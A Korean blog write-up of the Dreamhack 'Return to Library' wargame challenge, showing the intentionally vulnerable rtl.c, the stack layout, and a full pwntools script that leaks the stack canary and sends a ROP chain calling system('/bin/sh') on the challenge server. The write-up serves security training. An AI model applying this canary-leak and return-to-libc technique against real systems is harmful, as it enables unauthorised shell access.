교훈: payload에 보낼 때는 바이트 수 꼭 신경써서 보내야된다(엥간하면 패킹하렴), recvline()[:-1] 대신 recvn을 더 적극 이용해라...recvline()[:-1]는 너 생각보다 바이트가 훨씬 더 많이 나올 위험이 있기때문, 익스플로잉 시 got EOF로만 계속 끝나면 nop gadget 이용할 생각도 하기
먼저 rtl.c의 코드는
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
강의만 들었다면 구성짜는건 아주 쉽다
먼저 더미의 위치는 어셈블리어를 통해 버퍼와 카나리 사이에 8바이트로 껴있음을 확인할 수 있었다.
왜냐면 버퍼는 rbp-0x40 이고, 카나리는 rbp-0x8이니


그리고 익스플로잇 시 첫 bof때 카나리 값을 알아내고, 두번째 bof땐
ret자리엔 'pop edi;ret' 가젯을 넣어주고, 그 아래 8바이트엔 /bin/sh의 주소, 그 아래엔 nop gadget의 주소(8바이트), 그 아래에 system@plt의 주소를 넣어주면 된다.
그래서 위의 주소들을 각각 찾으면 됨



그렇게 익스플로잇 코드를 짜면
from pwn import *
context.arch = 'amd64'
p=remote('host3.dreamhack.games', 16886)
p.sendafter(b'Buf: ', b'A'*57)
p.recvuntil(b'Buf: ')
p.recv(57)
canary=b'\x00'
canary+=p.recvn(7)
p.recvuntil(b'Buf: ')
payload=b'A'*56 # buf+dummy
payload+=canary
payload+=b'A'*8 # sfp
payload+=p64(0x0000000000400853) # gadget's addr
payload+=p64(0x400874) # binsh addr
payload+=p64(0x0000000000400285) # nop gadget addr
payload+=p64(0x4005d0) # system@plt addr
p.send(payload)
p.interactive()
#gadget addr=0x0000000000400853
#system@plt addr=0x4005d0
#/bin/sh addr=0x400874
#nop gadget addr=0x0000000000400285
저기서 헤멘 부분은 교훈에 적어논 그 두 부분이였다.
recvline()[:-1]에서 내가 생각한 바이트만큼 나올거라고 믿고 썼는데..아닐때도 있던 것이였다.
그러니까 p.recvn()를 많이 쓰자. recvn은 원하는 정확히 그 바이트만큼을 받는다는 뜻이니 확실하고 좋다
그래서 저 익스플로잇 코드를 돌리면

'Pwnable > DreamHack Wargame' 카테고리의 다른 글
| [Dreamhack] basic_rop_x64 풀이 (3) | 2022.07.12 |
|---|---|
| [Dreamhack] ROP 풀이 (2) | 2022.07.12 |
| [Dreamhack] ssp_001 풀이 (0) | 2022.07.08 |
| [Dreamhack] Return to Shellcode (canary) 풀이 (0) | 2022.07.01 |
| [Dreamhack] basic_exploitation_000 풀이 (0) | 2022.06.07 |
댓글